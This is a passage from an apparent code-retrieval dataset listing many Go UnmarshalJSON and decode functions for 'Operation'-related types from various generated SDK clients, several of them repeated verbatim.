&o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}", "func (o *OperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (v *BaseOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&r, v)\n\treturn r.Error()\n}", "func (o *OperationEntity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationsDefinition) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (x *StationOperations) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = StationOperations(num)\n\treturn nil\n}", "func (o *OperationEntity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (od *OperationDetail) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Name = &name\n\t\t\t}\n\t\tcase \"isDataAction\":\n\t\t\tif v != nil {\n\t\t\t\tvar isDataAction bool\n\t\t\t\terr = json.Unmarshal(*v, &isDataAction)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.IsDataAction = &isDataAction\n\t\t\t}\n\t\tcase \"display\":\n\t\t\tif v != nil {\n\t\t\t\tvar display OperationDisplay\n\t\t\t\terr = json.Unmarshal(*v, &display)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Display = &display\n\t\t\t}\n\t\tcase \"origin\":\n\t\t\tif v != nil {\n\t\t\t\tvar origin string\n\t\t\t\terr = json.Unmarshal(*v, &origin)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Origin = &origin\n\t\t\t}\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar operationProperties OperationProperties\n\t\t\t\terr = json.Unmarshal(*v, &operationProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.OperationProperties = &operationProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (op *OpFlatten) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}", "func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func DecodeOperation(payload []byte) (*Operation, error) {\n\top := &Operation{}\n\tif err := json.Unmarshal(payload, op); err != nil {\n\t\treturn nil, err\n\t} else {\n\t\treturn op, nil\n\t}\n}", "func (m *OperationResult) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationProcessingResult json.RawMessage `json:\"operationProcessingResult,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}\n\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\toperationProcessingResult, err := UnmarshalOperationProcessingResult(bytes.NewBuffer(data.OperationProcessingResult), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result OperationResult\n\tresult.CreatedDateTime = data.CreatedDateTime\n\tresult.LastActionDateTime = data.LastActionDateTime\n\tresult.Message = data.Message\n\tresult.OperationProcessingResult = operationProcessingResult\n\tresult.OperationType = data.OperationType\n\tresult.Status = data.Status\n\t*m = result\n\treturn nil\n}", "func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}", "func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (ov *OperationValue) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"origin\":\n\t\t\tif v != nil {\n\t\t\t\tvar origin string\n\t\t\t\terr = json.Unmarshal(*v, &origin)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.Origin = &origin\n\t\t\t}\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.Name = &name\n\t\t\t}\n\t\tcase \"display\":\n\t\t\tif v != nil {\n\t\t\t\tvar operationValueDisplay OperationValueDisplay\n\t\t\t\terr = json.Unmarshal(*v, &operationValueDisplay)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.OperationValueDisplay = &operationValueDisplay\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (o *OperationsContent) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"systemData\":\n\t\t\terr = unpopulate(val, \"SystemData\", &o.SystemData)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *Action) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif s == \"\" {\n\t\t*a = Action(\"apply\")\n\t} else {\n\t\t*a = Action(s)\n\t}\n\treturn nil\n}", "func (this *HTTPGetAction) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, 